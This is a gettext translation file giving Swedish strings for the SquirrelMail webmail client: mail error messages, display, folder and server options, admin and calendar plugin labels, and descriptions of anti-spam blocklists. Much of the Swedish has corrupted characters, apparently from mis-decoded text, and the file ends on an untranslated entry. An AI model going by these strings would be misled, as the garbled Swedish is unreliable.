msgid "A password transition is needed"
msgstr "Lösenordet behöver bytas"

msgid "Requested mail action not taken: mailbox unavailable"
msgstr ""
"Den begÀrda ÄtgÀrden utfördes ej eftersom brevlÄdan inte Àr tillgÀnglig."

msgid "Requested action aborted: error in processing"
msgstr "Den begÀrda ÄtgÀrden avbröts p.g.a. ett fel i databehandlingen."

msgid "Requested action not taken: insufficient system storage"
msgstr "Den begÀrda ÄtgÀrden utfördes ej p.g.a. otillrÀckligt lagringsutrymme."

msgid "Temporary authentication failure"
msgstr "TemporÀr validering misslyckades"

msgid "Syntax error; command not recognized"
msgstr "Syntaxfel. OkÀnt kommando."

msgid "Syntax error in parameters or arguments"
msgstr "Syntaxfel i parametrarna."

msgid "Command not implemented"
msgstr "Kommandot Àr inte implementerat"

msgid "Bad sequence of commands"
msgstr "Kommandona utförs i felaktig ordning"

msgid "Command parameter not implemented"
msgstr "Parametern Àr inte implementerad."

msgid "Authentication required"
msgstr "Valideringen misslyckades"

msgid "Authentication mechanism is too weak"
msgstr "Valideringsfunktionen Àr för svag."

msgid "Authentication failed"
msgstr "Validering misslyckades"

msgid "Encryption required for requested authentication mechanism"
msgstr "Kryptering krÀvs för den begÀrda valideringen"

msgid "Requested action not taken: mailbox unavailable"
msgstr ""
"Den begÀrda ÄtgÀrden utfördes ej eftersom brevlÄdan inte Àr tillgÀnglig."

msgid "User not local; please try forwarding"
msgstr "Inte en lokal anvÀndare. Försök vidarebefordra."

msgid "Requested mail action aborted: exceeding storage allocation"
msgstr ""
"Den begÀrda ÄtgÀrden avbröts p.g.a. att lagringsutrymmet Àr överskridet."

msgid "Requested action not taken: mailbox name not allowed"
msgstr ""
"Den begÀrda ÄtgÀrden utfördes ej eftersom brevlÄdans namn inte Àr tillÄtet"

msgid "Transaction failed"
msgstr "Transaktionen misslyckades"

msgid "Unknown response"
msgstr "OkÀnt svar"

msgid "General Display Options"
msgstr "AllmÀnt"

msgid "Theme"
msgstr "Tema"

msgid "Default"
msgstr "Förval"

msgid "Custom Stylesheet"
msgstr "Eget Stylesheet"

msgid "Language"
msgstr "SprÄk"

msgid "Use Javascript"
msgstr "AnvÀnd JavaScript"

msgid "Autodetect"
msgstr "Automatisk igenkÀnning"

msgid "Always"
msgstr "Alltid"

msgid "Never"
msgstr "Aldrig"

msgid "Mailbox Display Options"
msgstr "BrevlÄdans utseende"

msgid "Number of Messages per Page"
msgstr "Antal brev per sida"

msgid "Enable Alternating Row Colors"
msgstr "AnvÀnd alternativa fÀrger pÄ olika rader"

msgid "Enable Page Selector"
msgstr "AnvÀnd sidvÀljare"

msgid "Maximum Number of Pages to Show"
msgstr "Antal sidor att visa"

msgid "Always Show Full Date"
msgstr "Visa alltid hela datumet"

msgid "Length of From/To Field (0 for full)"
msgstr "LÀngd pÄ frÄn-/till-fÀltet (0 för full lÀngd)"

msgid "Length of Subject Field (0 for full)"
msgstr "LÀngd pÄ ÀrendefÀltet (0 för full lÀngd)"

msgid "Message Display and Composition"
msgstr "Brevvisning och -skrivning"

msgid "Wrap Incoming Text At"
msgstr "Radbryt mottagen text vid"

msgid "Width of Editor Window"
msgstr "Textfönstrets bredd"

msgid "Height of Editor Window"
msgstr "Textfönstrets höjd"

msgid "Location of Buttons when Composing"
msgstr "Knapparnas placering vid brevskrivning"

msgid "Before headers"
msgstr "Före rubriker"

msgid "Between headers and message body"
msgstr "Mellan rubriker och brevtext"

msgid "After message body"
msgstr "Efter brevtexten"

msgid "Address Book Display Format"
msgstr "Adressbokens utseende"

msgid "Javascript"
msgstr "JavaScript"

msgid "HTML"
msgstr "HTML"

msgid "Format of Addresses Added From Address Book"
msgstr "Format pÄ adresser tillagda frÄn adressboken"

msgid "No prefix/Address only"
msgstr "Inget prefix/endast adress"

msgid "Nickname and address"
msgstr "Smeknamn och adress"

msgid "Full name and address"
msgstr "FullstÀndigt namn och adress"

msgid "Show HTML Version by Default"
msgstr "Visa HTML-versionen"

msgid "Enable Forward as Attachment"
msgstr "Aktivera vidarebefordran som bilaga"

msgid "Include Me in CC when I Reply All"
msgstr "LÀgg till mig som mottagare nÀr jag svarar alla"

msgid "Enable Mailer Display"
msgstr "Visa avsÀndarens e-postprogram"

msgid "Display Attached Images with Message"
msgstr "Visa bifogade bilder i brev"

msgid "Enable Printer Friendly Clean Display"
msgstr "AnvÀnd utskriftsvÀnlig visning"

msgid "Enable Mail Delivery Notification"
msgstr "BegÀr mottagningsbevis"

msgid "Compose Messages in New Window"
msgstr "Skriv brev i ett nytt fönster"

msgid "Width of Compose Window"
msgstr "Bredd pÄ redigeringsfönstret"

msgid "Height of Compose Window"
msgstr "Höjd pÄ redigeringsfönstret"

msgid "Prepend Signature before Reply/Forward Text"
msgstr "LÀgg till en brevfot innan innehÄllet besvaras eller vidarebefordras"

msgid "Prefix for Original Message when Replying"
msgstr "Tecken som inleder citerade rader nÀr brev besvaras"

msgid "Cursor Position when Replying"
msgstr "Markörens position vid svar"

msgid "To: field"
msgstr "TillfÀltet"

msgid "Focus in body"
msgstr "TextfÀltet"

msgid "Select body"
msgstr "TextfÀltet (markerat)"

msgid "No focus"
msgstr "Ingen förvald"

msgid "Sort by Received Date"
msgstr "Aktivera sortering pÄ ankomstdatum"

msgid "Enable Thread Sort by References Header"
msgstr "Aktivera korrespondensvy baserad pÄ brevhuvud"

msgid "Special Folder Options"
msgstr "SĂ€rskilda mappar"

msgid "Folder Path"
msgstr "SökvÀg till mappar"

msgid "Do not use Trash"
msgstr "Ingen"

msgid "Trash Folder"
msgstr "Mapp för borttagna brev"

msgid "Do not use Drafts"
msgstr "Ingen"

msgid "Draft Folder"
msgstr "Mapp för sparade utkast"

msgid "Do not use Sent"
msgstr "Ingen"

msgid "Sent Folder"
msgstr "Mapp för skickade brev"

msgid "Folder List Options"
msgstr "Mapplista"

msgid "Location of Folder List"
msgstr "Placering av mapplistan"

msgid "Left"
msgstr "VĂ€nster"

msgid "Right"
msgstr "Höger"

msgid "pixels"
msgstr "pixlar"

msgid "Width of Folder List"
msgstr "Mapplistans bredd"

msgid "Minutes"
msgstr "minuter"

msgid "Seconds"
msgstr "sekunder"

msgid "Minute"
msgstr "minut"

msgid "Auto Refresh Folder List"
msgstr "Uppdatera mapplistan automatiskt"

msgid "Enable Unread Message Notification"
msgstr "Avisering av olÀsta brev"

msgid "No Notification"
msgstr "Ingen avisering"

msgid "Only INBOX"
msgstr "Endast Inkorgen"

msgid "Unread Message Notification Type"
msgstr "Typ av avisering"

msgid "Only Unseen"
msgstr "Endast olÀsta"

msgid "Unseen and Total"
msgstr "OlÀsta och totalt antal"

msgid "Enable Collapsable Folders"
msgstr "TillÄt att underliggande mappar döljs"

msgid "Enable Cumulative Unread Message Notification"
msgstr "Aktivera avisering vid ökande antal olÀsta brev"

msgid "Show Clock on Folders Panel"
msgstr "Visa klockan i mapplistan"

msgid "International date and time"
msgstr "Internationellt datum- och tidsformat"

msgid "American date and time"
msgstr "Amerikanskt datum- och tidsformat"

msgid "European date and time"
msgstr "Europeiskt datum- och tidsformat"

msgid "Show weekday and time"
msgstr "Visa veckodag och klockslag"

msgid "Show time with seconds"
msgstr "Visa klockslag med sekunder"

msgid "Show time"
msgstr "Visa klockslag"

msgid "No Clock"
msgstr "Ingen klocka"

msgid "Hour Format"
msgstr "12/24-timmarsvisning"

msgid "12-hour clock"
msgstr "12-timmarsvisning"

msgid "24-hour clock"
msgstr "24-timmarsvisning"

msgid "Memory Search"
msgstr "Sök i minnet"

msgid "Disabled"
msgstr "Inaktiverad"

msgid "Folder Selection Options"
msgstr "Mappar"

msgid "Selection List Style"
msgstr "Typ av lista"

msgid "Long:"
msgstr "LÄng:"

msgid "Folder"
msgstr "Mapp"

msgid "Subfolder"
msgstr "Undermapp"

msgid "Indented:"
msgstr "Indragen:"

msgid "Delimited:"
msgstr "BegrÀnsad:"

msgid "You can't select INBOX as Trash folder."
msgstr "Inkorgen kan inte anvÀndas som en mapp för borttagna brev."

msgid "You can't select INBOX as Sent folder."
msgstr "Inkorgen kan inte anvÀndas som en mapp för skickade brev."

msgid "You can't select INBOX as Draft folder."
msgstr "Inkorgen kan inte anvÀndas som en mapp för sparade utkast."

msgid "Name and Address Options"
msgstr "Namn och adress"

msgid "E-mail Address"
msgstr "E-postadress"

msgid "Edit Advanced Identities"
msgstr "Redigera extra identiteter"

msgid "(discards changes made on this form so far)"
msgstr "(annullerar eventuella Àndringar pÄ denna sida)"

msgid "Multiple Identities"
msgstr "Extra identiteter"

msgid "Same as server"
msgstr "Samma som servern"

msgid "Error opening timezone config, contact administrator."
msgstr "Fel vid instÀllning av tidszon. Kontakta administratören."

msgid "Timezone Options"
msgstr "Tidszon"

msgid "Your current timezone"
msgstr "Din nuvarande tidszon"

msgid "Reply Citation Options"
msgstr "Svarscitat"

msgid "Reply Citation Style"
msgstr "Svarscitatsstil"

msgid "No Citation"
msgstr "Ingen citering"

msgid "AUTHOR Wrote"
msgstr "AVSÄNDAREN skrev"

msgid "On DATE, AUTHOR Wrote"
msgstr "Den DATUMET skrev AVSÄNDAREN"

msgid "Quote Who XML"
msgstr "XML-citat"

msgid "User-Defined"
msgstr "AnvÀndardefinierat"

msgid "User-Defined Citation Start"
msgstr "AnvÀndardefinierat svarscitat, början"

msgid "User-Defined Citation End"
msgstr "AnvÀndardefinierat svarscitat, slut"

msgid "Signature Options"
msgstr "Brevfötter"

msgid "Use Signature"
msgstr "AnvÀnd brevfot"

msgid "Prefix Signature with '-- ' Line"
msgstr "Inled brevfoten med avskiljaren '---'"

msgid "Config File Version"
msgstr "Version av instÀllningsfil"

msgid "SquirrelMail Version"
msgstr "Version av SquirrelMail"

msgid "PHP Version"
msgstr "PHP-version"

msgid "Organization Preferences"
msgstr "Organisation"

msgid "Organization Name"
msgstr "Organisationsnamn"

msgid "Organization Logo"
msgstr "Organisationslogotyp"

msgid "Organization Logo Width"
msgstr "Organisationslogtypens bredd"

msgid "Organization Logo Height"
msgstr "Organisationslogtypens höjd"

msgid "Organization Title"
msgstr "Organisationstitel"

msgid "Signout Page"
msgstr "Utloggningssida"

msgid "Provider Link URI"
msgstr "URI för leverantörslÀnken"

msgid "Provider Name"
msgstr "Leverantörsnamn"

msgid "Top Frame"
msgstr "Övre ram"

msgid "Server Settings"
msgstr "Server"

msgid "Mail Domain"
msgstr "BrevdomÀn"

msgid "IMAP Server Address"
msgstr "Adress till IMAP-servern"

msgid "IMAP Server Port"
msgstr "Port för IMAP-servern"

msgid "IMAP Server Type"
msgstr "Typ av IMAP-server"

msgid "Cyrus IMAP server"
msgstr "Cyrus IMAP-server"

msgid "University of Washington's IMAP server"
msgstr "University of Washingtons IMAP-server"

msgid "Microsoft Exchange IMAP server"
msgstr "Microsoft Exchange IMAP-server"

msgid "Courier IMAP server"
msgstr "Courier IMAP-server"

msgid "Mac OS X Mailserver"
msgstr "Mac OS X e-postserver"

msgid "hMailServer IMAP server"
msgstr "hMailServer IMAP-server"

msgid "Mercury/32 IMAP server"
msgstr "Mercury/32 IMAP-server"

msgid "Binc IMAP server"
msgstr "Binc IMAP-server"

msgid "Dovecot IMAP server"
msgstr "Dovecot IMAP-server"

msgid "Not one of the above servers"
msgstr "Ingen av ovanstÄende servrar"

msgid "IMAP Folder Delimiter"
msgstr "AvgrÀnsare för IMAP-mapp"

msgid "Use &quot;detect&quot; to auto-detect."
msgstr "AnvÀnd &quot;detect&quot; för autodetektering."

msgid "Use TLS for IMAP Connections"
msgstr "AnvÀnd TLS för IMAP-anslutningar"

msgid "Requires PHP 4.3.x! Experimental."
msgstr "KrÀver PHP 4.3.x! Experimentell."

msgid "IMAP Authentication Type"
msgstr "Valideringstyp för IMAP-servern"

msgid "IMAP login"
msgstr "IMAP-inloggning"

msgid "Use Sendmail Binary"
msgstr "AnvÀnd Sendmail-programmet"

msgid "Choose &quot;no&quot; for SMTP"
msgstr "VÀlj &quot;Nej&quot; för SMTP"

msgid "Sendmail Path"
msgstr "SökvÀg till Sendmail"

msgid "Sendmail Arguments"
msgstr "Sendmailparametrar"

msgid "SMTP Server Address"
msgstr "Adress till SMTP-server"

msgid "SMTP Server Port"
msgstr "Port för SMTP-server"

msgid "Use TLS for SMTP Connections"
msgstr "AnvÀnd TLS för SMTP-anslutningar"

msgid "SMTP Authentication Type"
msgstr "Valideringstyp för SMPT-servern"

msgid "No SMTP auth"
msgstr "Ingen SMTP-validering"

msgid "Login (plain text)"
msgstr "Inloggning (klartext)"

msgid "Custom SMTP AUTH username"
msgstr "Anpassat SMTP AUTH-anvÀndarnamn"

msgid "Custom SMTP AUTH password"
msgstr "Anpassat SMTP AUTH-lösenord"

msgid "POP3 Before SMTP?"
msgstr "POP3 innan SMTP?"

msgid "Header Encryption Key"
msgstr "Nyckel för kryptering av brevhuvuden"

msgid "Invert Time"
msgstr "Invertera tid"

msgid "Folders Defaults"
msgstr "Mappar"

msgid "Default Folder Prefix"
msgstr "Förvalt prefix för mappar"

msgid "Show Folder Prefix Option"
msgstr "Visa mapparnas prefix"

msgid "By default, move to trash"
msgstr "FörinstÀll flytt till mappen för borttagna brev"

msgid "By default, move to sent"
msgstr "FörinstÀll flytt till mappen för skickade brev"

msgid "By default, save as draft"
msgstr "FörinstÀll flytt till mappen för sparade utkast"

msgid "List Special Folders First"
msgstr "Lista sÀrskilda mappar först"

msgid "Show Special Folders Color"
msgstr "Visa de sÀrskilda mapparnas fÀrg"

msgid "Auto Expunge"
msgstr "Ta bort breven automatiskt"

msgid "Default Sub. of INBOX"
msgstr "Förvald undermapp till Inkorg"

msgid "Show 'Contain Sub.' Option"
msgstr "Visa valet &quot;InnehÄll undermapp&quot;"

msgid "Default Unseen Notify"
msgstr "Förvald avisering för olÀsta brev"

msgid "Default Unseen Type"
msgstr "Förvald typ för olÀsta brev"

msgid "Auto Create Special Folders"
msgstr "Skapa sÀrskilda mappar automatiskt"

msgid "Auto delete folders"
msgstr "Ta bort mappar automatiskt"

msgid "Enable /NoSelect folder fix"
msgstr "Aktivera /NoSelect fix för mappar"

msgid "General Options"
msgstr "AllmÀnt"

msgid "Data Directory"
msgstr "Datamapp"

msgid "Temp Directory"
msgstr "TemporÀr mapp"

msgid "Hash Level"
msgstr "Hash Level"

msgid "Hash Disabled"
msgstr "Hash inaktiverad"

msgid "Moderate"
msgstr "Moderat"

msgid "Medium"
msgstr "Medium"

msgid "Default Left Size"
msgstr "Förvald bredd till vÀnster"

msgid "Usernames in Lowercase"
msgstr "AnvÀndarnamn i gemener"

msgid "Allow use of priority"
msgstr "TillÄt anvÀndning av prioritet"

msgid "Hide SM attributions"
msgstr "Dölj SM tillskrivningar"

msgid "Enable use of delivery receipts"
msgstr "Aktivera anvÀndning av mottagningsbevis"

msgid "Allow editing of identities"
msgstr "TillÄt redigering av anvÀndaruppgifter"

msgid "Allow editing of full name"
msgstr "TillÄt redigering av fullstÀndigt namn"

msgid "Remove username from headers"
msgstr "Visa inte anvÀndarnamn i brevhuvudet"

msgid "Used only when identities can't be modified"
msgstr "AnvÀnds bara nÀr identiteterna inte kan Àndras"

msgid "Use server-side sorting"
msgstr "AnvÀnd sortering pÄ server-sidan"

msgid "Use server-side thread sorting"
msgstr "TillÄt korrespondensvyer"

msgid "Allow server charset search"
msgstr "TillÄt servern att söka teckenuppsÀttningar"

msgid "UID support"
msgstr "Stöd för UID"

msgid "PHP session name"
msgstr "Sessionsnamn i PHP"

msgid "Location base"
msgstr "Installationens baskatalog"

msgid "Message of the Day"
msgstr "Dagens meddelande"

msgid "Database"
msgstr "Databas"

msgid "Address book DSN"
msgstr "Adressboks-DSN"

msgid "Address book table"
msgstr "Tabell för adressboken"

msgid "Preferences DSN"
msgstr "InstÀllnings-DSN"

msgid "Preferences table"
msgstr "Tabell för instÀllningar"

msgid "Preferences username field"
msgstr "FÀlt för anvÀndarnamn"

msgid "Preferences key field"
msgstr "FÀlt för nyckel"

msgid "Preferences value field"
msgstr "FÀlt för vÀrde"

msgid "Global address book DSN"
msgstr "Global adressboks-DSN"

msgid "Global address book table"
msgstr "Global adressbokstabell"

msgid "Allow writing into global address book"
msgstr "TillÄt att skriva i den globala adressboken"

msgid "Allow listing of global address book"
msgstr "TillÄt att lista den globala adressboken"

msgid "Language settings"
msgstr "SprÄk"

msgid "Default Language"
msgstr "Förvalt sprÄk"

msgid "Default Charset"
msgstr "Förvald teckenuppsÀttning"

msgid "Enable lossy encoding"
msgstr "AnvÀnd förstörande kodning"

msgid "Address Books"
msgstr "Adressböcker"

msgid "Default Javascript Addressbook"
msgstr "Förvald javascriptadressbok"

msgid "Global address book file"
msgstr "Global adressboksfil"

msgid "Allow writing into global address book file"
msgstr "TillÄt att skriva i den globala adressboken"

msgid "Themes"
msgstr "Teman"

msgid "Style Sheet URL (css)"
msgstr "URL till CSS (Cascading Style Sheet)"

msgid "Default theme"
msgstr "Förvalt tema"

msgid "Use index number of theme"
msgstr "AnvÀnd temats indexnummer"

msgid "Configuration Administrator"
msgstr "Konfigurera SquirrelMail"

msgid ""
"Note: it is recommended that you configure your system using conf.pl, and "
"not this plugin. conf.pl contains additional information regarding the "
"purpose of variables and appropriate values, as well as additional "
"verification steps."
msgstr ""
"OBS: Det Àr rekommenderat att du konfigurerar systemet med &quot;conf."
"pl&quot;, och inte med denna insticksmodul. &quot;conf.pl&quot; innehÄller "
"extra information om syftet med variabler och deras tillÀmpbara vÀrden, "
"sÄvÀl som extra verifikationsÄtgÀrder."

msgid ""
"Run or consult conf.pl should you run into difficulty with your "
"configuration."
msgstr ""
"Om du stöter pÄ problem med konfigurationen, kör eller konsultera &quot;conf."
"pl&quot;."

msgid "Theme Name"
msgstr "Temats namn"

msgid "Theme Path"
msgstr "SökvÀg till teman"

msgid "Plugins"
msgstr "Insticksmoduler"

#, php-format
msgid "Plugin directory could not be found: %s"
msgstr "Kunde inte hitta katalogen för insticksmoduler: %s"

msgid "Change Settings"
msgstr "Ändra instĂ€llningar"

msgid "Test Configuration"
msgstr "Testa konfigurering"

msgid "Config file can't be opened. Please check config.php."
msgstr ""
"Det gÄr inte att skriva till &quot;config.php&quot;. Kontrollera "
"rÀttigheterna."

msgid "Administration"
msgstr "Administration"

msgid ""
"This module allows administrators to manage SquirrelMail main configuration "
"remotely."
msgstr ""
"Denna modul tillÄter administratörer att Àndra SquirrelMails gemensamma "
"konfiguration."

msgid "Plugin is not enabled"
msgstr "Insticksmodulen Àr inte aktiverad."

msgid "Submit a Bug Report"
msgstr "Skicka in en felrapport"

msgid ""
"Before you send your bug report, please make sure to check this checklist "
"for any common problems."
msgstr ""
"GÄ igenom denna lista över vanliga problem innan du skickar in din "
"felrapport."

#, php-format
msgid ""
"Make sure that you are running the most recent copy of %s. You are currently "
"using version %s."
msgstr ""
"SÀkerstÀll att du anvÀnder den senaste versionen av %s. Nu anvÀnder du "
"version %s."

#, php-format
msgid ""
"Check to see if your bug is already listed in the %sBug List%s on "
"SourceForge. If it is, we already know about it and are trying to fix it."
msgstr ""
"Kontrollera om felet redan Àr anmÀlt till %sFelanmÀlningslistan%s pÄ "
"SourceForge. Om felet Àr anmÀlt kÀnner vi redan till det och försöker "
"ÄtgÀrda det."

msgid ""
"Try to make sure that you can repeat it. If the bug happens sporatically, "
"try to document what you did when it happened. If it always occurs when you "
"view a specific message, keep that message around so maybe we can see it."
msgstr ""
"Försök sÀkerstÀlla att du kan fÄ felet att intrÀffa igen. Om felet uppstÄr "
"sporadiskt, försök dokumentera vad du gjorde nÀr det intrÀffade. Om det "
"alltid uppstÄr nÀr du lÀser ett specifikt brev, spara det brevet sÄ att "
"felsökarna kan fÄ se det vid behov."

#, php-format
msgid ""
"If there were warnings displayed above, try to resolve them yourself. Read "
"the guides in the %s directory where SquirrelMail was installed."
msgstr ""
"Om det visades varningar, försök att sjÀlv ÄtgÀrda dem. LÀs guiden i "
"SquirrelMail-installationens mapp %s."

msgid ""
"Pressing the button below will start a mail message to the developers of "
"SquirrelMail that will contain a lot of information about your system, your "
"browser, how SquirrelMail is set up, and your IMAP server. It will also "
"prompt you for information. Just fill out the sections at the top. If you "
"like, you can scroll down in the message to see what else is being sent."
msgstr ""
"NÀr du trycker pÄ knappen nedan kommer ett brev att skickas till utvecklarna "
"av SquirrelMail. Brevet innehÄller information om ditt system, din "
"webblÀsare, hur SquirrelMail Àr konfigurerat och din IMAP-server. Du kommer "
"Àven att behöva fylla i viss information sjÀlv. Fyll i de översta "
"sektionerna. Om du vill kan du blÀddra ned och lÀsa vad som kommer att "
"skickas."

msgid ""
"Please make sure to fill out as much information as you possibly can to give "
"everyone a good chance of finding and removing the bug. Submitting your bug "
"like this will not have it automatically added to the bug list on "
"SourceForge, but someone who gets your message may add it for you."
msgstr ""
"Var snÀll och fyll i sÄ mycket information som möjligt, sÄ att du ger "
"utvecklarna en chans att hitta och ÄtgÀrda felet. Genom att skicka in "
"felrapporten kommer det inte automatiskt att synas pÄ SourceForges lista, "
"men nÄgon som tar emot det kanske lÀgger till det Ät dig."

msgid "This bug involves:"
msgstr "Detta fel avser:"

msgid "the general program"
msgstr "SquirrelMail i allmÀnhet"

msgid "a specific plugin"
msgstr "en specifik insticksmodul"

msgid "Start Bug Report Form"
msgstr "Förbered felrapportsformulÀret"

msgid "Bug"
msgstr "Felrapportera"

msgid "Bug Reports"
msgstr "Felrapporter"

msgid "Show button in toolbar"
msgstr "Visa knappen i knappraden"

#, php-format
msgid "Could not write calendar file %s"
msgstr "Kunde inte spara kalenderfilen %s"

msgid "TODAY"
msgstr "IDAG"

msgid "Go"
msgstr "Kör"

msgid "l, F j Y"
msgstr "D, Y-m-d"

msgid "ADD"
msgstr "LÄGG TILL"

msgid "EDIT"
msgstr "REDIGERA"

msgid "DEL"
msgstr "TA BORT"

msgid "Start time:"
msgstr "Starttid:"

msgid "Length:"
msgstr "LĂ€ngd:"

msgid "Priority:"
msgstr "Prioritet:"

msgid "Title:"
msgstr "Titel:"

msgid "Set Event"
msgstr "VĂ€lj aktivitet"

msgid "Event Has been added!"
msgstr "Aktiviteten har lags till!"

msgid "Date:"
msgstr "Datum:"

msgid "m/d/Y"
msgstr "Y-m-d"

msgid "Time:"
msgstr "Tid:"

msgid "Day View"
msgstr "Dagsvy"

msgid "Do you really want to delete this event?"
msgstr "Vill du verkligen ta bort denna aktivitet?"

msgid "Event deleted!"
msgstr "Aktiviteten borttagen!"

msgid "Nothing to delete!"
msgstr "Inget att ta bort!"

msgid "Update Event"
msgstr "Uppdatera aktivitet"

msgid "Do you really want to change this event from:"
msgstr "Vill du verkligen Àndra denna aktivitet frÄn:"

msgid "to:"
msgstr "till:"

msgid "Event updated!"
msgstr "Aktiviteten Àndrad!"

msgid "Month View"
msgstr "MÄnadsvy"

msgid "0 min."
msgstr "0 minuter"

msgid "15 min."
msgstr "15 minuter"

msgid "30 min."
msgstr "30 minuter"

msgid "45 min."
msgstr "45 minuter"

msgid "1 hr."
msgstr "1 timme"

msgid "1.5 hr."
msgstr "1,5 timmar"

msgid "2 hr."
msgstr "2 timmar"

msgid "2.5 hr."
msgstr "2,5 timmar"

msgid "3 hr."
msgstr "3 timmar"

msgid "3.5 hr."
msgstr "3,5 timmar"

msgid "4 hr."
msgstr "4 timmar"

msgid "5 hr."
msgstr "5 timmar"

msgid "6 hr."
msgstr "6 timmar"

msgid "Calendar"
msgstr "Kalender"

msgid "Delete &amp; Prev"
msgstr "Ta bort och visa föregÄende"

msgid "Delete &amp; Next"
msgstr "Ta bort och visa nÀsta"

msgid "Move to:"
msgstr "Flytta till:"

msgid "Delete/Move/Next Buttons:"
msgstr "Knappar för Ta bort/Flytta/NÀsta:"

msgid "Display at top"
msgstr "Visa högst upp"

msgid "with move option"
msgstr "vid flyttmöjligheten"

msgid "Display at bottom"
msgstr "Visa lÀngst ned"

msgid ""
"COMMERCIAL - This list contains servers that are verified spam senders. It "
"is a pretty reliable list to scan spam from."
msgstr ""
"KOMMERSIELL - Denna lista innehÄller servrar som Àr konstaterade "
"skrÀppostkÀllor. En ganska pÄlitlig lista för att skanna efter skrÀppost."

msgid ""
"COMMERCIAL - Servers that are configured (or misconfigured) to allow spam to "
"be relayed through their system will be banned with this. Another good one "
"to use."
msgstr ""
"KOMMERSIELL - Servrar som Àr konfigurerade (eller felkonfigurerade) sÄ att "
"de slÀpper igenom skrÀppost. En annan bra lista att anvÀnda."

msgid ""
"COMMERCIAL - Dial-up users are often filtered out since they should use "
"their ISP's mail servers to send mail. Spammers typically get a dial-up "
"account and send spam directly from there."
msgstr ""
"KOMMERSIELL - ModemanvÀndare filtreras ofta bort för att de borde anvÀnda "
"sina ISP e-postservrar för att skicka post. SkrÀppostsÀndare skaffar sig "
"ganska ofta ett uppringt konto och skickar skrÀppost direkt ifrÄn."

msgid "COMMERCIAL - RBL+ Blackhole entries."
msgstr "KOMMERSIELL - RBL+ Blackhole."

msgid "COMMERCIAL - RBL+ OpenRelay entries."
msgstr "KOMMERSIELL - RBL+ OpenRelay."

msgid "COMMERCIAL - RBL+ Dial-up entries."
msgstr "KOMMERSIELL - RBL+ Dial-up."

msgid "FREE - Five-Ten-sg.com - Direct SPAM sources."
msgstr "FRI - Five-Ten-sg.com - Direkta skrÀppostkÀllor."

msgid "FREE - Five-Ten-sg.com - Dial-up lists - includes some DSL IPs."
msgstr "FRI - Five-Ten-sg.com - Dial-up listor - inkluderar vissa DSL ISP."

msgid "FREE - Five-Ten-sg.com - Bulk mailers that do not use confirmed opt-in."
msgstr ""
"FRI - Five-Ten-sg.com - Masspostare som inte frÄgar efter mottagarens "
"godkÀnnande."

msgid "FREE - Five-Ten-sg.com - Other misc. servers."
msgstr "FRI - Five-Ten-sg.com - Andra ospecificerade servrar."

msgid "FREE - Five-Ten-sg.com - Single Stage servers."
msgstr "FRI - Five-Ten-sg.com - Single Stage servrar."

msgid "FREE - Five-Ten-sg.com - SPAM Support servers."
msgstr "FRI - Five-Ten-sg.com - Servrar som stödjer skrÀppost."

msgid "FREE - Five-Ten-sg.com - Web Form IPs."
msgstr "FRI - Five-Ten-sg.com - Web Form-adresser."

msgid ""
"FREE - Dorkslayers appears to include only really bad open relays outside "
"the US to avoid being sued. Interestingly enough, their website recommends "
"you NOT use their service."
msgstr ""
"FRI - Dorkslayers verkar endast innehÄlla riktigt öppna servrar utanför USA "
"för att de skall slippa att bli Ätalade. Intressant nog rekommenderar de att "
"man inte skall anvÀnda deras tjÀnster."

msgid "FREE - SPAMhaus - A list of well-known SPAM sources."
msgstr "FRI - SPAMhaus - En lista med vÀlkÀnda skrÀppostkÀllor."

msgid ""
"FREE, for now - SpamCop - An interesting solution that lists servers that "
"have a very high spam to legit email ratio (85 percent or more)."
msgstr ""
"FRI, Àn sÄ lÀnge - SpamCop - Intressant lösning som listar servrar som har "
"mycket hög andel skrÀppost (85 procent eller mer)."

msgid "FREE - dev.null.dk - I don't have any detailed info on this list."
msgstr "FRI - dev.null.dk - Ingen detaljerad information om denna lista."

msgid "FREE - visi.com - Relay Stop List. Very conservative OpenRelay List."
msgstr ""
"FRI - visi.com - Relay Stop List. VÀldigt konservativ lista över "
"vidarebefordrare."

msgid "FREE - ahbl.org Open Relays - Another list of Open Relays."
msgstr ""
"FRI - ahbl.org Open Relays - En annan lista över öppna vidarebefordrare."

msgid "FREE - ahbl.org SPAM Source - List of Direct SPAM Sources."
msgstr "FRI - ahbl.org SPAM Source - Lista över kÀnda skrÀppostkÀllor."

msgid "FREE - ahbl.org SPAM ISPs - List of SPAM-friendly ISPs."
msgstr "FRI - ahbl.org SPAM ISPs - Lista över skrÀppostvÀnliga ISP:er."

msgid ""
"FREE - Leadmon DUL - Another list of Dial-up or otherwise dynamically "
"assigned IPs."
msgstr ""
"FRI - Leadmon DUL - En lista med dynamiska IP-nummer för t.ex. uppringda "
"internetanslutningar."

msgid ""
"FREE - Leadmon SPAM Source - List of IPs Leadmon.net has received SPAM "
"directly from."
msgstr ""
"FRI - Leadmon SPAM Source - Lista över de IP-nummer som Laedmon.net har fÄtt "
"skrÀppost direkt ifrÄn."

msgid ""
"FREE - Leadmon Bulk Mailers - Bulk mailers that do not require confirmed opt-"
"in or that have allowed known spammers to become clients and abuse their "
"services."
msgstr ""
"FRI - Leadmon Bulk Mailers - Servrar som gör massutskick utan att krÀva opt-"
"in eller som Àr kÀnda för att tillÄta skrÀppostare att bli kunder och "
"missbruka tjÀnsten."

msgid ""
"FREE - Leadmon Open Relays - Single Stage Open Relays that are not listed on "
"other active RBLs."
msgstr ""
"FRI - Leadmon Open Relays - 'Single Stage Open Relays' som inte listas pÄ "
"andra aktiva RBL:er."

msgid ""
"FREE - Leadmon Multi-stage - Multi-Stage Open Relays that are not listed on "
"other active RBLs and that have sent SPAM to Leadmon.net."
msgstr ""
"FRI - Leadmon Multi-stage - 'Multi-Stage Open Relays' som inte listas pÄ "
"andra aktiva RBL:er och som har skickat skrÀppost till Leadmon.net."

msgid ""
"FREE - Leadmon SpamBlock - Sites on this listing have sent Leadmon.net "
"direct SPAM from IPs in netblocks where the entire block has no DNS "
"mappings. It's a list of BLOCKS of IPs being used by people who have SPAMmed "
"Leadmon.net."
msgstr ""
"FRI - Leadmon SpamBlock - Dessa IP-nummer har skickat skrÀppost direkt till "
"Leadmon.net frÄn IP-nummerblock dÀr hela blocket saknar DNS-uppslag."

msgid ""
"FREE, for now - Not Just Another Blacklist - Both Open Relays and Direct "
"SPAM Sources."
msgstr ""
"FRI, för nÀrvarande - Not Just Another Blacklist - BÄde öppna "
"vidarebefordrare och direkta skrÀppostkÀllor."

msgid "FREE, for now - Not Just Another Blacklist - Dial-up IPs."
msgstr ""
"FRI, för nÀrvarande - Not Just Another Blacklist - IP-nummer för uppringda "
"internetanslutningar."

msgid "FREE - Distributed Sender Boycott List - Confirmed Relays"
